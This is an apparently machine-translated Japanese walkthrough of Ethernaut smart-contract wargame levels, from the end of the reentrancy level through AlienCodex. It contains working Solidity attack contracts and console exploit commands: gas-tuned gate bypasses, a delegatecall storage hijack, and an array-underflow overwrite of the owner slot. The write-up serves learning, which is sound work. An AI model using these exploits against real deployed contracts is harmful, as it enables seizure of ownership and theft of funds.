関数を使用donateして、対象契約に残高を入金します。
預金残高
この時点で対象契約の残高も0.0015Etherとなります。
次の攻撃はwithdraw、関数を使用して 500000000000000 Wei を抽出することです。トランザクションを開始するとき、Fox インターフェイスでガスを変更する必要があります。トランザクションが完了するのを待って、コントラクトに 3 つの転送があります。
攻撃完了
対象契約の残高がゼロになり、攻撃完了!
対象契約はゼロにリセットされます
例を提出してください。このレベルは完了です!
レベル完了

最後に、契約自爆で残高を回復することを忘れないでください〜

状態変化

要約する

契約の設計は十分に注意する必要があり、過失は大きな影響を与える


11 エレベーター

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BEその契約の分析、契約のコア コードは次のとおりです。

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }

1回目の判定で、isLastFloor満たされないif構造を入力し、再度取得しisLastFloorます。契約では、2 回目に得られた結果がまだ不十分であることを当然のこととしています。

外部呼び出しの影響により、コントラクトは、外部から呼び出されたときの外部コントラクトの動作を制御できません。そのため、関連する攻撃を開始するスマート コントラクトを作成できます。

攻撃契約書作成

攻撃コントラクトもリミックスで書きます。次のように:

pragma solidity ^0.6.0;

interface   Elevator{
    function goTo(uint _floor) external;
}

contract Building {

    Elevator elevatorImpl;
    bool isTop;


    constructor(address addr) public {
        elevatorImpl = Elevator(addr);
        isTop = false;
    }

    function flip() public {
        isTop = !isTop;
    }

    function isLastFloor(uint) public returns (bool){
        bool res = isTop;
        flip();
        return res;
    }
    
    function attack() public {
        elevatorImpl.goTo(1);
    }
}

重要な点は、関数が呼び出されるたびに関数がisLastFloor内部的に呼び出されflipて変数の反転が完了するisTopため、2 回続けて得られる結果が異なることです。

契約の相互作用

await contract.top()それが最上位かどうかを確認するために入力します。結果は false です。
contract.top() を待つ
コントラクトをデプロイし、ターゲット コントラクトを渡し0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE、アドレスでコントラクトをビルドします0x0906dCbd3C31CDfB6A490A04D7ea03fC19F7a40a

関数を呼び出しattack()て、ターゲット コントラクトへの攻撃を開始します。
攻撃()
この時点で、もう一度チェックし、入力しawait contract.top()てトップ レベルかどうかを確認すると、結果は true です。
contract.top() を待つ
例を提出してください。このレベルは成功です!
レベルは成功です!

要約する

契約は信じられないものであり、他人の行動を制御できなければ、よく書かれた契約でさえ役に立たない.


12 プライバシー

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0x5a5F99370275Ca9068DfDF9E9edEB40Cb8d9aeFfその契約の分析、契約のコア コードは次のとおりです。

  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

この時点で、入力を入力する必要がありますdata[2]。これはどのように取得する必要がありますか? 明らかに、ストレージメカニズムから始める必要があります。

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

これが変数の定義です. これに対応して, スロットストレージの分布は次のようになります.

-----------------------------------------------------
| unused (31)    |          locked(1)               | <- slot 0
-----------------------------------------------------
|                       ID(32)                      | <- slot 1
-----------------------------------------------------
| unused (28) | awkwardness(2) |  denomination (1) | flattening(1)  | <- slot 2
-----------------------------------------------------
| data[0](32)  | <- slot 3
-----------------------------------------------------
| data[1](32)  | <- slot 4
-----------------------------------------------------
| data[2](32)  | <- slot 5
-----------------------------------------------------

したがって、data[2]スロット 5 に格納されます。

契約の相互作用

を入力await web3.eth.getStorageAt(contract.address,5)して取得しますdata2='0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'
await web3.eth.getStorageAt(contract.address,5)
この時点で、バイト 16 とバイト 32 の間で変換が行われます。イーサリアムには、ビッグ エンディアン (文字列とバイト、左から開始) とリトル エンディアン (その他のタイプ、ビッグから開始) の 2 つの保存方法があることに注意してください。したがって、32 から 16 に変換する場合、右側の 16 バイトを切り取る必要があります。

どうすればこれを行うことができますか?すなわち'0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'.slice(0,34)

手動で分割
その後、結果を直接提出し、ロック解除の準備をします。contract.unlock('0xad4d68dd2ede6bf23b06d5ed3076ab0d').
contract.unlock('0xad4d68dd2ede6bf23b06d5ed3076ab0d
この時点で、契約は解除されています。
contract.locked() を待つ
例を提出してください。このレベルは成功です!

レベルは成功です!

要約する

繰り返しますが、ブロックチェーンには秘密はありません。


13 ゲートキーパーワン

こんにちは、また戻ってきました。最近とても忙しいので、急いでこのシリーズを 8 月中に終わらせて、次のコンテンツを共有します。

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284このレベルの目的はgateOne、 、 、gateTwoおよびを満足させ、変更gateThreeをうまく実装するentrantことです。

それで、私たちは何をする必要がありますか?まず、modifierそれぞれの要件が何であるかを見てみましょう。あなたが会って変更できるかどうかを確認してください。

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

分析すると、トランジットとしての契約が必要であることを示すgateOne必要性がわかります。msg.sender != tx.origin

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

分析gateTwoは、このステップが実行されると、残りのガスが 8191 の倍数になる必要があることを示しているため、ガスを設定する必要があります。

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

分析gateThreeすると、1 ~ 16 ビットが tx.origin のデータであり、17 ~ 32 ビットが 0 ( uint32(uint64(_gateKey)) == uint16(tx.origin),) であり、33 ~ 64 ビットがすべて 0 ではない ( uint32(uint64(_gateKey)) != uint64(_gateKey))。

そのため、アイデアを整理してスマート コントラクトを作成できます。

攻撃契約書作成

攻撃コントラクトもリミックスで書きます。次のように:

pragma solidity ^0.6.0;

interface Gate {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract attackerSupporter {

    uint64 offset = 0xFFFFFFFF0000FFFF;
    bytes8 changedValue;
    Gate gateImpl;

    constructor(address addr) public {
        gateImpl = Gate(addr);
    }

    function getAddress() public {
        changedValue = bytes8(uint64(tx.origin) & offset);
    }

    function check1() public view returns (bool){
        return uint32(uint64(changedValue)) == uint16(uint64(changedValue));
    }

    function check2() public view returns (bool){
        return uint32(uint64(changedValue)) != uint64(changedValue);
    }

    function check3() public view returns (bool){
        return uint32(uint64(changedValue)) == uint16(tx.origin);
    }

    function attack() public {
        gateImpl.enter(changedValue);
    }
}

ここでは主に、なぜgateThreeニーズが解決できるのかを見ていきます。入力が取られると、bytes8(uint64(tx.origin) & offset)操作が実行されます。

  • address型の長さは 160 ビット、20 バイト、40 hex
  • uint64(tx.origin)ペアtx.originがインターセプトされ、最後の 64 ビット、8 バイト、および 16 の 16 進数が選択されます。
  • offsetタイプはuint64、デフォルト値は0xFFFFFFFF0000FFFF、最後FFFFは最後の 16 ビットが変更されないことを0000保証し、中間は 17 ~ 33 ビットが 0 であることを保証し、残りFFFFFFFFは 34 ~ 64 ビットがすべて 0 ではないことを保証します (tx.originこれは当てはまらないため)
  • 実際の攻撃用に変数に格納する操作で&変換が完了します。bytes8changedValue

契約の相互作用

コントラクトをデプロイし、ターゲット コントラクトを渡し0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284、アドレスでコントラクトをビルドします0x9CeD0A7587C4dCb17F6213Ea47842c86a88ff43d

契約を展開する
クリックgetAddressして計算しますchangedValueこの時点で、 をクリックしてcheck1要件が満たされているかどうかを確認します。スクリーンショットからわかるように、すべてが満足しています。自動的に満たされたので、呼び出して実際のガスを直接デバッグできます。クリックして攻撃を開始します。これはクロスコントラクト コールであるため、図に示すように、最初に Gas Limit を増やします (実際にはそれほど大きくはありません)。check2check3gateThree
ゲートスリーは満足
gateOne
attack
セットガス

この時点で、トランザクションの詳細を表示するためにテストネット エクスプローラーに入りますが、トランザクションはロールバックされます。これは、現在のガスが要件を満たしていないためです。
トランザクションのロールバック

右上隅をクリックして選択するとGeth Debug Trace、詳細なコンパイル プロセスが表示されます。
Geth デバッグ トレース
内部には、各ステップの実行プロセスと、それが消費する GAS があります。
デバッグ トレースの詳細を取得する

ページで GAS を検索すると、合計 2 つの操作があります.呼び出しシーケンス全体を分析します.前者はコントラクトの内部呼び出しの前に開始する必要があり、後者は積極的にgateTwo開始する必要があります. gasLeftそのため、GAS 操作後の残りのガスを書き留めます (クエリ自体もガスを消費するため)。ここでは 70215 です。攻撃が完了するまで、この値を 8191 で割った余りに従ってガス制限を調整できます。
ガスの詳細

次の表は、攻撃を完了するために数回繰り返す必要がある開始プロセスを示しています。

元のガス制限 GAS運転後のガス残量 残り 次回はガスを入力してください
100000 70215 4687 95313
95313 65601 73 95240
95240 65529 1 95239

ガスが 95239 に設定されている場合、トランザクションは成功することに注意してください。スクリーンショットに示すように:を
成功した攻撃
入力しawait contract.entrant() == player、この時点で true を返し、攻撃が成功したことを示します。
await contract.entrant() == プレーヤー
例を提出してください。このレベルは成功です!

レベルの成功

要約する

Gas のデバッグは非常に興味深いものであり、注意深く研究する価値があります。


14 ゲートキーパー 2

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53Fこのレベルの目的はgateOne、 、 、gateTwoおよびを満足させ、変更gateThreeをうまく実装するentrantことです。

そのコア コード、 still gateOnegateTwoおよび を観察しgateThreeます。

  • gateOnemsg.sender != tx.origin中間契約が必要であることは依然として要件です。
  • gateTwo要件extcodesize(caller())==0は、呼び出し元 (msg.sender に対応) の関連付けられたコード長が 0 であり、スマート コントラクト コードが 0 でないことがわかっていることです。
  • gateThree次に、対応する要件を満たすために、対応するバイト 8 を入力する必要があります。

一見、gateOne成立gateTwoすると同時に成り立たないのですが、コントラクトが構築されているときは、それに付随するコードも 0 であると考えられます。したがって、ビルド関数で攻撃できます。

攻撃契約書作成

攻撃コントラクトもリミックスで書きます。次のように:

pragma solidity ^0.6.0;

interface Gate {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract attackerSupporter {

    constructor(address addr) public {
        Gate gateImpl = Gate(addr);
        bytes8 input = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1));
        gateImpl.enter(input);
    }
}

gateThreeここでは、すべて 1 を取得するためにアクティブ アンダーフローを使用していることに注意してくださいuint64(2 つの XOR が消えます)。

契約の相互作用

コントラクトをデプロイし、ターゲット コントラクトを渡し0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53F、アドレスでコントラクトをビルドします0xE0CCEeA724E2eF32A573348975538DEf0eeBC74f

デプロイが成功したら、これを使用しawait contract.entrant() == playerて攻撃が成功したかどうかを確認します。答えは成功です。

await contract.entrant() == プレーヤー
例を提出してください。このレベルは成功です!
レベルの成功

要約する

スマート コントラクトによって送信された要求が処理されないようにする方法は? msg.sender=tx.originそれでおしまい。


15 ノートコイン

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0x30A758458135a40eA5c59c7F171Fd6FFe08e00c2このレベルの目的は、自分の残高を 0 にすることです。

一見すると、契約playerには次の制限があります。

    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }

バイパスできないようで、コントラクトを介して攻撃することはできないようです。デフォルトでは、独自のトークンを差し引くためです。
しかし、一見、それNaughCoinは継承であり、複数の伝達関数があることがERC20わかります。ERC20他の方法を試すことができます。

よく調べてみると、元のERC20にはまだtransferFrom機能があります。

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

もちろん余裕があることが前提です。試してみましょう。

契約の相互作用

関数を介して送金await contract.approve(player,await contract.balanceOf(player))できるように、最初に を渡します。次に、残高を契約に移します。この時点で、残高を確認すると、攻撃が成功し、残高が 0 であることがわかります。例を提出してください。このレベルは成功です!transferFrom
await contract.approve(プレイヤー,await contract.balanceOf(プレイヤー))
await contract.transferFrom(player,contract.address,await contract.balanceOf(player))
await contract.transferFrom(player,contract.address,await contract.balanceOf(player))
await contract.balanceOf(player)
contract.balanceOf(player) を待つ

ここに画像の説明を挿入

要約する

一部の機能を継承しても他の用途には影響しない、これは表面的な契約と言えます。


16 保存

帰国して外国人研修も終わりに近づいていますが、その過程で得たものは大きいと思います。トレーニングと説明の過程で、私の考えはより明確になりました。おめでとう。理論的には、私の最初の計画は、8 月に Ethernaut の攻撃と防御を完了してから、共有の次の段階を開始することです。

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046このレベルの目的は、ターゲット コントラクトの所有権を取得することです。次に、ターゲット契約の弱点はどこにあり、ハックの入り口はどこにあるのかを確認する必要があります。

ターゲットの詳細な分析を行います

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;

ここで、ターゲットはtimeZone1LibrarytimeZone2LibraryownerおよびstoredTime変数を保存します。これらはすべて作成時に指定されます。

ターゲット コントラクトの所有権を取得したいので、まず変更されたステートメントを探しますが、コード内でそれを見つけるownerことができません

  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

そうです、ここにあります、delegatecall!
実際、Delegationあるレベルでは、call 関数ファミリの違いについて具体的に述べました。

  • call: 最も一般的な呼び出し方法. 呼び出し後、組み込み変数 msg の値は呼び出し元 B に変更され、実行環境は呼び出し先の実行環境 C になります.
  • delegatecall: 呼び出し後、組み込み変数 msg の値 A は呼び出し元 B に変更されませんが、実行環境は呼び出し元の実行環境 B になります。
  • callcode: 呼び出し後、組み込み変数 msg の値 A は呼び出し元 B に変更されますが、実行環境は呼び出し元の実行環境 B です

この時点で、デリゲート呼び出しを使用する場合、関数を呼び出すだけで、実際の実行環境は依然として独自の実行環境です。低レベルでそれを理解する方法は?このコンテキストは、特にストレージ変数のストレージに関しては、変数名ではなくスロットに基づいて使用されます。つまり、デリゲート呼び出しでストレージ変数を変更すると、実際には現在の環境で対応するスロットが変更されます!

これを理解した後、現在のコントラクトをもう一度見てみましょう. 実際には正しくありません:対応するコントラクトLibraryContractsetTime関数が呼び出されると、表示されているものが得られるため、storedTime変数が変更され、実際に実行中のコントラクトが変更されます.環境.slot 0つまり、実際にtimeZone1Libraryは, それが入っているスロットは変更されています. 契約そのものが問題!

つまり、問題があるので、対処する必要があります。最初timeZone1Libraryにアドレスを攻撃コントラクトに変更し、デリゲート呼び出しを通じて後続の攻撃を実装しようとしています。

攻撃契約書作成

攻撃コントラクトもリミックスで書きます。次のように:

pragma solidity ^0.6.0;


contract attacker {

    address public tmpAddr1;
    address public tmpAddr2;
    address public owner; 

    constructor() public {

    }

    function setTime(uint _time) public {
        owner = address(_time);
    }

}

一見すると、これは元の契約と何か違いますか? 実際、つまり、意図的に3番目のスロットを変更します。つまり、それを変更するときslot 2です。変数tmpAddr1sumtmpAddr2は、実際にはスロットの単なるプレースホルダーであり、特別な意味はありません。

契約の相互作用

まず、攻撃コントラクトをデプロイします。コントラクト アドレスは0x852D36AcCF80Eb6611FC124844e52DC9fC72c958です。ここで、元の変数をそれで置き換えたいだけですtimeZone1Library

まず、ターゲット コントラクトの現在のスロット ステータスを照会できます。
スロット
そのレイアウトは

-----------------------------------------------------
| 0x7Dc17e761933D24F4917EF373F6433d4a62fe3c5        | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------

コールしてawait contract.setFirstTime()(1 番目か 2 番目かは重要ではありません。その理由については以下で考えてください)、攻撃コントラクトを渡します。この時点で、実際に変更があったことがわかります。特別に構築されたデータはパラメーターの型を指定せず、evm によって手動でコンパイルされるため、uint の制限を気にせずにアドレスを直接渡すことができます。
埋め込まれた攻撃契約
この時点で、そのレイアウトは

-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958       | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------

この時点で、アイデアは非常に単純await contract.setFirstTime()で、プレーヤーのアドレスを直接呼び出して渡します。渡した後、所有者変数が変更されているかどうかを確認すると、コントラクトの所有権が正常に取得されていることがわかります。
契約所有権の取得に成功
レイアウトは次のとおりです。

-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958       | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------

例を提出してください。このレベルは完了です!
レベル完了

要約する

デリゲート コールの共有環境が何を共有しているかを理解する必要があります。


17 回復

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046このレベルの目的は、「失われたアドレス」を見つけ (0.001 イーサを彼に転送しましたが、そのアドレスを忘れてしまいました)、失われたイーサを回復することです。

この質問には、実際には 2 つの考え方があります。1 つは少しトリッキーで、2 番目は、質問が本当にテストしたいことです。
タイトルの説明によると、これは実際には継続的なプロセスです。コントラクト作成者トークン コントラクトのファクトリ コントラクトを作成し、後者はトークン コントラクト(忘れられたアドレス) を作成します。私たちはこの考えから始めます。

契約の相互作用

忘れたアドレスを見つける、方法 1: ブラウザベース

ここでのブラウザは Browser ではなくExplorerです。
取引履歴を見ることができます。また、内部で 0.001 イーサを 2 回転送したことがわかります。
取引記録
内部呼び出しに基づいて分析を拡張できます。全体的なプロセスは次のとおりです。

  • ユーザー アカウントが Ethernaut コントラクトを呼び出す0xd991431d8b033ddcb84dad257f4821e9d5b38c33
  • Ethernautコントラクト0xd991431d8b033ddcb84dad257f4821e9d5b38c33はレベル コントラクトを呼び出し、0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab20.001Ether を転送します。
  • レベル コントラクト0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2はファクトリ コントラクトを作成します0xfeB7158F1d0Ff49043e7e2265576224145b158f2
  • レベル コントラクトは、インターフェイスである0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2ファクトリ コントラクトを呼び出します。0xfeB7158F1d0Ff49043e7e2265576224145b158f2generateToken
  • ファクトリ コントラクト0xfeB7158F1d0Ff49043e7e2265576224145b158f2がトークン コントラクトを作成した0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8
  • レベル コントラクトは 0.001Ether0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2をトークン コントラクトに転送し、コントラクト アドレスを忘れます。0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8

ここに画像の説明を挿入
ブラウザを介して、トークン コントラクト アドレスが であることがわかりました0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8

忘れた住所を見つける、方法 2: 住所に基づいて生成する

実際、コントラクトアドレスの生成は定期的に見られます。チェーン全体でいくつかのトークンまたは組織によって展開されたコントラクトが同じであることがよく見られます. これは、コントラクト アドレスが作成者のアドレスとノンスに基づいて計算されるためです. どちらも最初に RLP でエンコードされ、次に keccak256 でハッシュされます.最終結果のアドレスとして最後の 20 バイトを取得します (ハッシュ値は元々 32 バイトでした)。

  • 作成者のアドレスは既知であり、ノンスは初期値からインクリメントされます。
  • 外部アドレスのナンスの初期値は 0 で、転送または契約の作成ごとにナンスが 1 ずつ増加します。
  • コントラクト アドレスのナンスの初期値は 1 で、コントラクトが作成されるたびにナンスが 1 ずつ増加します (内部呼び出しは行われません)。

web3.js で失われた契約アドレスを思い出してみましょう。現在、既知のファクトリ コントラクトは0xfeB7158F1d0Ff49043e7e2265576224145b158f2、ノンスは 1、
入力はweb3.utils.keccak256(Buffer.from(rlp.encode(['0xfeB7158F1d0Ff49043e7e2265576224145b158f2',1]))).slice(-40,)、結果は9d91abf611bbf14e52fa4cddea81f8f2cf665cb8です。

戻る

コントラクトを見つけたら、コントラクトを操作してみます。新しいコントラクトを作成したり、web3.js を介して直接コントラクトと対話したりできます。

まず、encodeFunctionSignature を介して関数指示を取得し、パラメーターを構築します。最後に、sendTransaction を通じて送信されます。
建設パラメータ
4 バイトの関数と 32 バイトの入力があることがわかります (十分な 0 がありません)。
ここに画像の説明を挿入
呼び出し成功!
成功した呼び出し
例を提出してください。このレベルは成功です!
ここに画像の説明を挿入)

要約する

実は原理はわかっている気がしますが、練習はいつも少し下手で、もっと練習する必要があります〜


18 マジックナンバー

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0x36c8074B1F138B7635Ad1eFe0c2b37b346EC540cこのレベルは、堅牢なオペコードを記述し、コントラクトを構築し、それを呼び出してマジック ナンバーを直接返すことができることを期待するもの0x42です。正確には、コントラクトを作成するときに、トランザクション内のデータが実際に何を参照しているかをよく理解しておいてください。

実は私もこの作品に詳しくないので、いろいろと調べてみました。Solidity でコントラクトを展開すると、正確には何が起こるでしょうか?

  • Solidity コードが作成されました. ユーザーがデプロイをクリックすると、コントラクトを作成するためのトランザクションが送信され (このトランザクションにはオプションはありませんto)、Solidity 言語はバイトコードにコンパイルされています.
  • EVM がリクエストを受け取ると、実際にはバイトコードであるデータをフェッチします。
  • バイトコードはスタックにロードされ、初期化バイトコードとランタイム バイトコードの 2 つの部分に分割されます。
  • EVM は初期化バイトコードを実行し、通常の使用のためにランタイム バイトコードを返します。

実際には、ランタイム バイトコードと初期化バイトコードの両方をここに記述する必要があります。

次に、バイトコードの書き込みを開始します。

契約書

ランタイムバイトコード

実行中の状態は、実際にはRETURN42 を直接返しています。しかし、オペコードRETURNはスタックベースです。スタックから p と s を読み込んで返します。ストレージpのメモリアドレスをs表し、格納されたデータのサイズを表します。したがって、私たちの考えは、最初にデータmstoreをメモリに保存してから、それを使用することRETURNです。

  • mstoreスタック内の p と v を読み取り、最終的にデータを p の位置に格納します

    • push1 0x42->60 42
    • push1 0x60-> 60 60(ロケーション 0x60 に保存)
    • mstore->52
  • RETURN戻る0x42

    • push1 0x20-> 60 20(0x20=32つまり、uint256 のバイト数)
    • push1 0x60->60 60
    • return->f3

一緒です604260605260206060f3実行時バイトコードはそれと同じくらい単純なようです。

初期化バイトコード

その核心はcodecopy、ランタイムバイトコードを初期化してメモリに保存することです。その後、これは EVM によって自動的に処理され、ブロックチェーンに保存されます。

  • codecopyパラメーター t、f、および s が読み取られます。ここで、はコードtの宛先メモリ アドレスf、全体に対する実行状態コードのオフセット (初期化 + 実行状態)、およびsコード サイズです。ここで選択しますt=0x20(必須要件はありません), f=unknown(是1字节的偏移量),s=0x0a(10个字节的大小)

    • push1 0x0a->60 0a
    • push1 0xUN->60 UN
    • push1 0x20->60 20
    • codecopy->39
  • RETURNコードを EVM に戻すことによって

    • push1 0x0a->60 0a
    • push1 0x20->60 20
    • returnf3
      この時の初期化バイトコードは12バイトなので、実行状態のオフセットは12=0x0c=UN
      最終的な初期化バイトコードは600a600c602039600a6020f3

ビルドとテスト

バイトコードをビルドし0x600a600c602039600a6020f3604260605260206060f3ます。
コントラクトを作成するために、コンソール インターフェイスでトランザクションを構築しました。
契約を作成する
トランザクションには受信者がいないため、展開コントラクトとして自動的に識別されます.
契約を展開する
展開が完了しました. コントラクト アドレスが であることがわかります0xAcA8C7d0F1E90272A1bf8046A6b9B3957fbB4771.
導入完了
コントラクトをソルバーとして設定します。後で送信すると、それが満たされているかどうかを確認するために自動的に呼び出されます。
設定ソルバー
レベルを送信し、テストして、不合格であることがわかりましたか? どうした?

最初にトランザクションをRAW TRACE見ると、コントラクトが最終的に実際にアクセスされ、0x42 が実際に返されたことがわかります。

デバッグ トレース
もう一度アセンブリを見ると、実際に実行されていることがわかります。
組立チェック
次に、リミックスでインポートし、関数を呼び出します。実際、すべてが 0x42 を返します。
リミックスの出来は普通
それは...ですか?戻り値を 0x42 から 42 に変更します ( 0x2a)。

バイトコードをビルドし0x600a600c602039600a6020f3602a60605260206060f3ます。
この時点で、remix 呼び出しによって、42 が返されます。再送信しますか?出来た!
レベルの成功

要約する

実際に混乱した人はいますか?関数セレクターなどはありませんか?実際には、ここに追加する必要があります. 通常、堅牢性を介してスマート コントラクトを記述した後、コンパイル時に関数セレクターが埋め込まれます。そして、このレベルにはこのステップがありません。そのため、remix によって呼び出されるグラフと同様に、すべての関数は実際には同じコマンド ブロックを実行し、同じ結果を取得します。


19 エイリアンコーデックス

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0xc4017fe2BD1Cb4629E0225B6CCe2c712138588Efこのレベルの目的は、契約の所有権を取得することです。それでは、コントラクトに所有権を設定するためのコードがあるかどうか見てみましょう。

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;
  ...
}

コードを見ると、契約に所有権コードが含まれていないことがわかります。そのため、他の場所から始める方法を見つける必要があるかもしれません。コードでこれを見つけました:

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }

ここにあるようで、ここから開始する方法を見つけ、この操作によってスロットに格納されている値のサイズを変更します。

契約の相互作用

まず、スロットに何が格納されているか見てみましょう。

クエリ スロット ストレージ
コントラクトはコントラクトを継承するため、この時点Ownableで slot0 に格納されているownerオブジェクトは0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272. 実際、このアドレスは、次の図に示すように、ターゲット コントラクトが作成されるアドレスです。

所有可能な変数、所有者は引き続き共有
を取得し、格納されたcontact変数も含まれますslot 0(スロットは 32 ビット長で、アドレス (20) + ブール値 (1) を格納できます)、現在 0 は false です。Slot1 にはcodex動的配列が格納されます.より正確にcodexは、動的配列の長さである必要があります.特定の添え字の内容はどうですか? スロットに順番に格納されますkeccak256(bytes(1))+x。ここで、x は配列のインデックスです。したがって、スロットを次のように表します。

-----------------------------------------------------
| unused(11 bytes) |contact = false  |  0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272       | <- slot 0
-----------------------------------------------------
| codex length =0       | <- slot 1
-----------------------------------------------------
...
-----------------------------------------------------
| codex data[0]      | <- slot ??
-----------------------------------------------------

ここでコーデックス データの開始スロットを計算します。0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6

開始データ スロットを計算する
最初に精度をテストしましょう。存在するためcontacted modifier、最初に変数を変更しcontactます。を呼び出しawait contact.make_contact()、スロット値を再度確認すると、変数が正常に変更されていることがわかります。
連絡先変数が正常に変更されました
値を保存して確認し、await contract.record("0x000000000000000000000000000000000000000000000000000000000000aaaa")テストします。この時点で、スロット長が変更され、格納されたデータも変更されます。

テスト
別の値を保存して確認し、await contract.record("0x000000000000000000000000000000000000000000000000000000000000bbbb")テストします。この時点で、スロット長が変更され、格納されたデータも変更されます。

成功
結果として生じるオーバーフローを変更codexすることで、最終的にスロット 0 を変更したいと考えています。まず、 を 3 回続けて呼び出してアンダーフローします。この時点で、以前に入力したデータはすべて失われます。data
await contract.retract()codex.length2**256-1

codex.length を変更する
入札額はいくらですか?である必要があります2**256-1-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6+1最後に到達した後、もう 1 ビット進める必要があるため、オーバーフローして slot0 に戻ります。計算プロセスで問題が発生しました。つまり、javascript は科学表記法を使用するため、精度が失われます。簡単にするために、remix で計算すると、結果は になり35707666377435648211887908874984608119992236509074197713628505308453184860938ます。

リミックスを使用して計算を支援する
次に、それを使用しawait contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938',player)て呼び出すと、この時点で元のスロットが上書きされます。しかし、検査で何かがおかしいことがわかり、結果は前に出ました。もう一度変更する必要があるようです。直接渡すことはできません。player渡す必要があります0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b

ここに画像の説明を挿入
Input await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b')、これはアドレスの前に 24 個の 0 を埋め、24 4+40 4=256 ビットまたは 32 バイトを構成して、アドレスを正しい格納場所に格納するためのものです。
修正後再起動
この時点で、契約所有者はそれを正常に変更しました。
正常に変更されました
例を提出してください。このレベルは成功です!
レベルの成功

要約する

